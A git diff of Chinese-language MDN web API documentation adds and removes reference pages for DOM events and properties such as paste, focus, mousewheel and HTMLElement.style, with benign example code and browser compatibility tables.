+
{{domxref("ClipboardEvent")}}
+
是否冒泡
+
Yes
+
可取消默认行为
+
Yes
+
目标对象
+
{{domxref("DefaultView")}}, {{domxref("Document")}}, {{domxref("Element")}}
+
默认行为
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件对象(DOM树的顶层对象)。
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型。
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡。
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可以取消。
clipboardData {{readonlyInline}}{{domxref("DataTransfer")}}剪贴板的内容。不仅仅是文本,还有文件和图片。
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/element/domactivate_event/index.html b/files/zh-cn/web/api/element/domactivate_event/index.html new file mode 100644 index 0000000000..3185540e78 --- /dev/null +++ b/files/zh-cn/web/api/element/domactivate_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Element: DOMActivate event' +slug: Web/API/Element/Activate_event +tags: + - API + - 事件 + - 参考 +translation_of: Web/API/Element/DOMActivate_event +--- +

{{APIRef}}

+ +

{{Deprecated_Header}}

+ +

当元素被激活时发生,例如点击鼠标或键盘按键。

+ +

当元素被激活,如使用鼠标点击或使用键盘导航并激活至这个元素时, DOMActivate 事件被触发。

+ + + + + + + + + + + + + + + + +
+

Bubbles

+
+

Yes

+
+

Cancelable

+
+

Yes

+
+

Interface

+
+

{{domxref("MouseEvent")}}

+
+ +

示例

+ +
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseProfile="tiny"
+     xmlns:ev="http://www.w3.org/2001/xml-events"
+     width="6cm" height="5cm" viewBox="0 0 600 500">
+
+  <desc>Example: invoke an ECMAScript function from a DOMActivate event</desc>
+
+  <!-- ECMAScript to change the radius -->
+  <script type="application/ecmascript"><![CDATA[
+    function change(evt) {
+      var circle = evt.target;
+      var currentRadius = circle.getFloatTrait("r");
+      if (currentRadius == 100)
+        circle.setFloatTrait("r", currentRadius * 2);
+      else
+        circle.setFloatTrait("r", currentRadius * 0.5);
+    }
+  ]]></script>
+
+  <!-- Act on each DOMActivate event -->
+  <circle cx="300" cy="225" r="100" fill="red">
+    <handler type="application/ecmascript" ev:event="DOMActivate"> change(evt); </handler>
+  </circle>
+
+  <text x="300" y="480" font-family="Verdana" font-size="35" text-anchor="middle">
+    Activate the circle to change its size
+  </text>
+</svg>
+
+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-DOMActivate', 'DOMActivate')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.DOMActivate_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/error_event/index.html b/files/zh-cn/web/api/element/error_event/index.html new file mode 100644 index 0000000000..913caf76bf --- /dev/null +++ b/files/zh-cn/web/api/element/error_event/index.html @@ -0,0 +1,135 @@ +--- +title: error +slug: Web/Events/error +translation_of: Web/API/Element/error_event +--- +
{{APIRef}}
+ +

当一个资源加载失败或无法使用时,会在{{domxref("Element")}}对象上触发error事件。例如当脚本执行错误、或图片无法找到或图片无效时。

+ + + + + + + + + + + + + + + + + + + + +
Bubbles(支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{domxref("Event")}} 或{{domxref("UIEvent")}}
Event handler property(事件处理程序属性){{domxref("GlobalEventHandlers/onerror", "onerror")}}
+ +

如果事件对象是从用户界面元素生成的,则它是一个{{domxref("UIEvent")}}实例;反之,它是一个{{domxref("Event")}}实例。

+ +

示例

+ +

在线示例

+ +

HTML

+ +
<div class="controls">
+  <button id="img-error" type="button">生成图像error</button>
+  <img class="bad-img" />
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+
+const badImg = document.querySelector('.bad-img');
+badImg.addEventListener('error', (event) => {
+    log.textContent = log.textContent + `${event.type}: Loading image\n`;
+    console.log(event)
+});
+
+const imgError = document.querySelector('#img-error');
+imgError.addEventListener('click', () => {
+    badImg.setAttribute('src', 'i-dont-exist');
+});
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-error')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.error_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/element/focus_event/index.html b/files/zh-cn/web/api/element/focus_event/index.html new file mode 100644 index 0000000000..4a93ee7726 --- /dev/null +++ b/files/zh-cn/web/api/element/focus_event/index.html @@ -0,0 +1,137 @@ +--- +title: focus +slug: Web/Events/focus +translation_of: Web/API/Element/focus_event +--- +

focus事件在元素获取焦点时触发. 这个事件和 focusin 最大的区别仅仅在于后者会事件冒泡.

+ +

基本信息

+ +
+
规范
+
DOM L3
+
接口
+
{{ domxref("FocusEvent") }}
+
是否冒泡
+
+
能否取消默认
+
+
事件目标
+
Element
+
默认行为
+
无.
+
+ +
注释: 这里的接口是指 {{ domxref("Event") }} prior to Gecko 24 {{ geckoRelease(24) }}. ({{ bug(855741) }})
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target (DOM element)
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)null
+ +

事件委托

+ +

此事件有两个可以实现事件委托的方法 : 通过在支持的浏览器上使用 focusin 事件 (除了Firefox之外的所有浏览器), 或者通过设置 addEventListener 的参数"useCapture" 值为true:

+ +

{{ EmbedLiveSample('Event_delegation', '', '', '', 'Web/Events/blur') }}

+ +

(Sample code from blur (event))

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatrueChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatVersionUnknown}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/element/focusout_event/index.html b/files/zh-cn/web/api/element/focusout_event/index.html new file mode 100644 index 0000000000..87a8a9bd48 --- /dev/null +++ b/files/zh-cn/web/api/element/focusout_event/index.html @@ -0,0 +1,125 @@ +--- +title: focusout +slug: Web/Events/focusout +translation_of: Web/API/Element/focusout_event +--- +

当元素即将失去焦点时,focusout 事件被触发。focusout 事件和 blur 事件之间的主要区别在于后者不会冒泡。

+ +

基本信息

+ +
+
Specification
+
DOM L3
+
Interface
+
{{domxref("FocusEvent")}}
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(52)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(52)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/element/mousewheel_event/index.html b/files/zh-cn/web/api/element/mousewheel_event/index.html new file mode 100644 index 0000000000..599f17edbb --- /dev/null +++ b/files/zh-cn/web/api/element/mousewheel_event/index.html @@ -0,0 +1,181 @@ +--- +title: mousewheel +slug: Web/Events/mousewheel +translation_of: Web/API/Element/mousewheel_event +--- +

{{ Non-standard_header() }}

+ +

The mousewheel event is fired asynchronously when a mouse wheel or similar device is operated. It's represented by the {{ domxref("MouseWheelEvent") }} interface.

+ +
+

Do not use this wheel event.

+ +

This interface is non-standard and deprecated. It was used in non-Gecko browsers only. Instead use the standard {{event("wheel")}} event.

+
+ + + +

Specification

+ +

The document in MSDN: {{ spec("http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx","onmousewheel event") }}

+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatIE("6.0") }}{{ CompatOpera("10.00") }}{{ CompatSafari("3.0") }}
wheelDeltaX{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
wheelDeltaY{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaX{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaY{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

detail value

+ +

The detail attribute value is always 0 except Opera (Presto).

+ +

Opera (Presto) sets almost the same value as Firefox (Gecko)'s DOMMouseScroll event's detail value which indicates the scroll amount by line. Negative value indicates to scroll to bottom or right. Positive value indicates to scroll to top or left.

+ +

On Mac, the value is computed from accelerated scroll amount.

+ +

On Linux, 2 or -2 is set per native wheel event.

+ +

wheelDelta, wheelDeltaX and wheelDeltaY value

+ +

The wheelDelta attribute value is an abstract value which indicates how far the wheel turned. If the wheel has rotated away from the user, it's positive, otherwise negative. This means that the delta value sign is different from DOM Level 3 Event's wheel. However, the meaning of the amount of these values is not the same between browsers. See following explanation for the detail.

+ +

IE and Opera (Presto) only support wheelDelta attribute and do not support horizontal scroll.

+ +

The wheelDeltaX attribute value indicates the wheelDelta attribute value along the horizontal axis. When a user operates the device for scrolling to right, the value is negative. Otherwise, i.e., if it's to left, the value is positive.

+ +

The wheelDeltaY attribute value indicates the wheelDelta attribute value along the vertical axis. The sign of the value is the same as the wheelDelta attribute value.

+ +

IE

+ +

The value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. It means that if the mouse wheel doesn't support high resolution scroll, the value is 120 per notch. The value isn't changed even if the scroll amount of system settings is page scroll.

+ +

Chrome

+ +

On Windows, the value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. And also, the value isn't changed even if the scroll amount of system settings is page scroll, i.e., the value is the same as IE on Windows.

+ +

On Linux, the value is 120 or -120 per native wheel event. This makes the same behavior as IE and Chrome for Windows.

+ +

On Mac, the value is complicated. The value is changed if the device that causes the native wheel event supports continuous scroll.

+ +

If the device supports continuous scroll (e.g., trackpad of MacBook or mouse wheel which can be turned smoothly), the value is computed from accelerated scroll amount. In this case, the value is the same as Safari.

+ +

If the device does not support continuous scroll (typically, old mouse wheel which cannot be turned smoothly), the value is computed from non-accelerated scroll amount (120 per notch). In this case, the value is different from Safari.

+ +

This difference makes a serious issue for web application developers. That is, web developers cannot know if mousewheel event is caused by which device.

+ +

See WebInputEventFactory::mouseWheelEvent of the Chromium's source code for the detail.

+ +

Safari

+ +

The value is always computed from accelerated scroll amount. This is really different from other browsers except Chrome with continuous scroll supported device.

+ +

Note: tested with the Windows package, the earliest available version was Safari 3.0 from 2007. It could be that earlier versions (on Mac) support the properties too.

+ +

Opera (Presto)

+ +

The value is always the detail attribute value ✕ 40.

+ +

On Windows, since the detail attribute value is computed from actual scroll amount, the value is different from other browsers except the scroll amount per notch is 3 lines in system settings or a page.

+ +

On Linux, the value is 80 or -80 per native wheel event. This is different from other browsers.

+ +

On Mac, the detail attribute value is computed from accelerated scroll amout of native event. The value is usually much bigger than Safari's or Chrome's value.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/name/index.html b/files/zh-cn/web/api/element/name/index.html deleted file mode 100644 index f1a247fd70..0000000000 --- a/files/zh-cn/web/api/element/name/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Element.name -slug: Web/API/Element/name -translation_of: Web/API -translation_of_original: Web/API/Element/name ---- -

{{ APIRef() }}

- -

概述

- -

name 获取或设置一个 DOM 对象的 name 属性;它只能应用于下列元素:{{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }}, and {{ HTMLelement("textarea") }}.

- -
-

需要注意的是,name 属性在其他类型元素上不存在。它不是 {{domxref("Element")}} 或 {{domxref("HTMLElement")}} 接口的一个属性。

-
- -

Name 可被使用于 {{ domxref("document.getElementsByName()") }} 方法,form 以及 the form elements collection。当使用于表单(form)或表单元素(form elements collection)时,可能返回一个单独的元素或一个元素集合。

- -

语法

- -
HTMLElement.name = string;
-var elName = HTMLElement.name;
-
-var fControl = HTMLFormElement.elementName;
-var controlCollection = HTMLFormElement.elements.elementName;
-
- -

例子

- -
<form action="" name="formA">
-  <input type="text" value="foo">
-</form>
-
-<script type="text/javascript">
-
-  // 获取表单中第一个元素的引用
-  var formElement = document.forms['formA'].elements[0];
-
-  // 设置一个 name
-  formElement.name = 'inputA';
-
-  // 显示 input 的 value 值
-  alert(document.forms['formA'].elements['inputA'].value);
-
-</script>
-
- -

备注

- -

在 IE6 中,使用 {{domxref("document.createElement()")}} 方法创建的 DOM 对象的 name 属性不能被更改。

- -

规范

- -

W3C DOM 2 HTML Specification:

- - diff --git a/files/zh-cn/web/api/element/onafterscriptexecute/index.html b/files/zh-cn/web/api/element/onafterscriptexecute/index.html deleted file mode 100644 index f1e976522e..0000000000 --- a/files/zh-cn/web/api/element/onafterscriptexecute/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: element.onafterscriptexecute -slug: Web/API/Element/onafterscriptexecute -tags: - - DOM - - onafterscriptexecute -translation_of: Web/API/Document/onafterscriptexecute ---- -
{{ApiRef}}{{gecko_minversion_header("2")}}
- -

概述

- -

当HTML文档中的{{HTMLElement("script")}}标签内的代码执行完毕时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

- -

语法

- -
document.onafterscriptexecute = funcRef;
-
- -

afterscriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

- -

例子

- -
function finished(e) {
-  logMessage("Finished script with ID: " + e.target.id);
-}
-
-document.addEventListener("afterscriptexecute", finished, true);
-
- -

查看在线演示

- -

规范

- - - -

相关链接

- - diff --git a/files/zh-cn/web/api/element/ongotpointercapture/index.html b/files/zh-cn/web/api/element/ongotpointercapture/index.html deleted file mode 100644 index 2ff983926f..0000000000 --- a/files/zh-cn/web/api/element/ongotpointercapture/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Element.ongotpointercapture -slug: Web/API/Element/ongotpointercapture -tags: - - API - - DOM - - Element - - Event Handler - - Pointer Events - - Property - - Reference - - 事件句柄 - - 元素 - - 属性 - - 引用 - - 指针事件 -translation_of: Web/API/GlobalEventHandlers/ongotpointercapture -translation_of_original: Web/API/Element/ongotpointercapture ---- -

{{ ApiRef("DOM") }}

- -

ongotpointercapture 是一个{{domxref("Element")}} 接口的{{domxref("EventHandler")}} 属性,返回一个{{event("gotpointercapture")}} 事件类型的事件句柄 (function) .

- -

语法

- -
var gotCaptureHandler = target.ongotpointercapture;
-
- -

Return value

- -
-
gotCaptureHandler
-
元素 target 的gotpointercapture 事件句柄。 .
-
- -

Example

- -
<html>
-<script>
-function overHandler(ev) {
- // Determine the target event's gotpointercapture handler
- var gotCaptureHandler = ev.target.ongotpointercapture;
-}
-function init() {
- var el=document.getElementById("target");
- el.onpointerover = overHandler;
-}
-</script>
-<body onload="init();">
-<div id="target"> Touch me ... </div>
-</body>
-</html>
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events 2')}}无稳定版
{{SpecName('Pointer Events', '#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events')}}Initial definition.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Implementation withdrawn. See {{Bug("1166347")}}.

- -

See also

- - diff --git a/files/zh-cn/web/api/element/paste_event/index.html b/files/zh-cn/web/api/element/paste_event/index.html new file mode 100644 index 0000000000..1fb088eddf --- /dev/null +++ b/files/zh-cn/web/api/element/paste_event/index.html @@ -0,0 +1,103 @@ +--- +title: 'Element: paste事件' +slug: Web/Events/paste +tags: + - Clipboard API + - Event + - Reference +translation_of: Web/API/Element/paste_event +--- +

 {{APIRef}}

+ +

当用户在浏览器用户界面发起“粘贴”操作时,会触发paste事件。

+ +
冒泡                 是
+
+可取消               是
+
+接口                 {{domxref("ClipboardEvent")}}
+
+事件处理属性          {{domxref("HTMLElement/onpaste", "onpaste")}}
+
+ +

如果光标位于可编辑的上下文中(例如,在 {{HTMLElement("textarea")}} 或者 contenteditable 属性设置为 true的元素),则默认操作是将剪贴板的内容插入光标所在位置的文档中。

+ +

事件处理程序可以通过调用事件的 clipboardData 属性上的 {{domxref("DataTransfer/getData", "getData()")}}访问剪贴板内容。

+ +

要覆盖默认行为(例如,插入一些不同的数据或转换剪贴板的内容),事件处理程序必须使用 {{domxref("Event/preventDefault", "event.preventDefault()")}},取消默认操作,然后手动插入想要的数据。

+ +

可以构造和分派合成的paste事件,但这不会影响文档内容。

+ +

举例

+ +

Live example

+ +

HTML

+ +
<div class="source" contenteditable="true">Try copying text from this box...</div>
+<div class="target" contenteditable="true">...and pasting it into this one</div>
+ +

CSS

+ +
div.source, div.target {
+    border: 1px solid gray;
+    margin: .5rem;
+    padding: .5rem;
+    height: 1rem;
+    background-color: #e9eef1;
+}
+
+ +

JS

+ +
const target = document.querySelector('div.target');
+
+target.addEventListener('paste', (event) => {
+    let paste = (event.clipboardData || window.clipboardData).getData('text');
+    paste = paste.toUpperCase();
+
+    const selection = window.getSelection();
+    if (!selection.rangeCount) return false;
+    selection.deleteFromDocument();
+    selection.getRangeAt(0).insertNode(document.createTextNode(paste));
+
+    event.preventDefault();
+});
+
+ +

Result

+ +

 {{EmbedLiveSample('Live_example', '100%', '100px')}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.paste_event")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html new file mode 100644 index 0000000000..2b825c80cc --- /dev/null +++ b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

+ +

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

+ +

设置 style 属性

+ +

注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

+ +

例子

+ +
// 在单个语句中设置多个样式
+elt.style.cssText = "color: blue; border: 1px solid black";
+// 或者
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// 设置特定样式,同时保持其他内联样式值不变
+elt.style.color = "blue";
+
+ +

获取元素样式信息

+ +

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

+ +
<!DOCTYPE HTML>
+<html>
+<body style="font-weight:bold;">
+
+    <div style="color:red" id="myElement">..</div>
+
+ </body>
+</html>
+ +

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

+ +
var element = document.getElementById("myElement");
+var out = "";
+var elementStyle = element.style;
+var computedStyle = window.getComputedStyle(element, null);
+
+for (prop in elementStyle) {
+  if (elementStyle.hasOwnProperty(prop)) {
+    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
+  }
+}
+console.log(out)
+ +

输出结果如下:

+ +
...
+fontWeight = '' > 'bold'
+color = 'red' > 'rgb(255, 0, 0)'
+...
+
+ +

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

+ +

规范

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

兼容性

+ + + +

{{Compat("api.HTMLElement.style")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/entity/index.html b/files/zh-cn/web/api/entity/index.html deleted file mode 100644 index 2e05365217..0000000000 --- a/files/zh-cn/web/api/entity/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Entity -slug: Web/API/Entity -translation_of: Web/API/Entity ---- -

{{APIRef("DOM")}} {{draft}} {{obsolete_header}}

- -

对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。

- -

属性

- -
-
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}inputEncoding, xmlEncoding, and xmlVersion were added
{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Initial definition
diff --git a/files/zh-cn/web/api/event.altkey/index.html b/files/zh-cn/web/api/event.altkey/index.html deleted file mode 100644 index fb69717e99..0000000000 --- a/files/zh-cn/web/api/event.altkey/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: event.altKey -slug: Web/API/event.altKey -translation_of: Web/API/MouseEvent/altKey -translation_of_original: Web/API/event.altKey ---- -

{{ ApiRef() }}

-

概述

-

表明当事件触发时,ALT键是否处于按下的状态.

-

语法

-
event.altKey
-
-

例子

-
var bool = event.altKey;
-
-

如果当事件触发时,ALT键处于按下的状态,则bool的值为true,否则为false.

-
<html>
-<head>
-<title>altKey 示例</title>
-
-<script type="text/javascript">
-
-function showChar(e){
-  alert(
-    "按下的键: " + String.fromCharCode(e.charCode) + "\n"
-    + "charCode: " + e.charCode + "\n"
-    + "是否按下ALT键: " + e.altKey + "\n"
-  );
-}
-
-</script>
-</head>
-
-<body onkeypress="showChar(event);">
-<p>
-按下一个字符键,尝试同时按下ALT键.<br />
-你也可以同时按下SHIFT键和ALT键.
-</p>
-</body>
-</html>
-
-

规范

-

DOM Level 2 Events - property of MouseEvent object

-

{{ languages( { "ja": "ja/DOM/event.altKey", "pl": "pl/DOM/event.altKey", "en": "en/DOM/event.altKey" } ) }}

diff --git a/files/zh-cn/web/api/event.button/index.html b/files/zh-cn/web/api/event.button/index.html deleted file mode 100644 index c75916a287..0000000000 --- a/files/zh-cn/web/api/event.button/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: event.button -slug: Web/API/event.button -translation_of: Web/API/MouseEvent/button -translation_of_original: Web/API/event.button ---- -

{{ ApiRef() }}

-

概述

-

表明当前事件是由鼠标的哪个按键触发的.

-

语法

-
event.button
-
-

例子

-
var buttonCode = event.button;
-
-

该属性返回一个整数值,代表触发当前事件的鼠标按键.在通常情况下,对应关系如下:

- -
- 注意: IE不遵守 See QuirksMode for details.
-

The order of buttons may be different depending on how the pointing device has been configured.

-

例子

-
<script>
-var whichButton = function (e) {
-    // 处理不同的事件模型
-    var e = e || window.event;
-    var btnCode;
-
-    if ('object' === typeof e) {
-        btnCode = e.button;
-
-        switch (btnCode) {
-            case 0:
-                alert('你按了左键.');
-            break;
-            case 1:
-                alert('你按了中键.');
-            break;
-            case 2:
-                alert('你按了右键.');
-            break;
-            default:
-                alert('未知按键: ' + btnCode);
-        }
-    }
-}
-</script>
-
-<button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();">请点击鼠标...</button>
-
-

备注

-

Because mouse clicks are frequently intercepted by the user interface, it may be difficult to detect buttons other than those for a standard mouse click (usually the left button) in some circumstances.

-

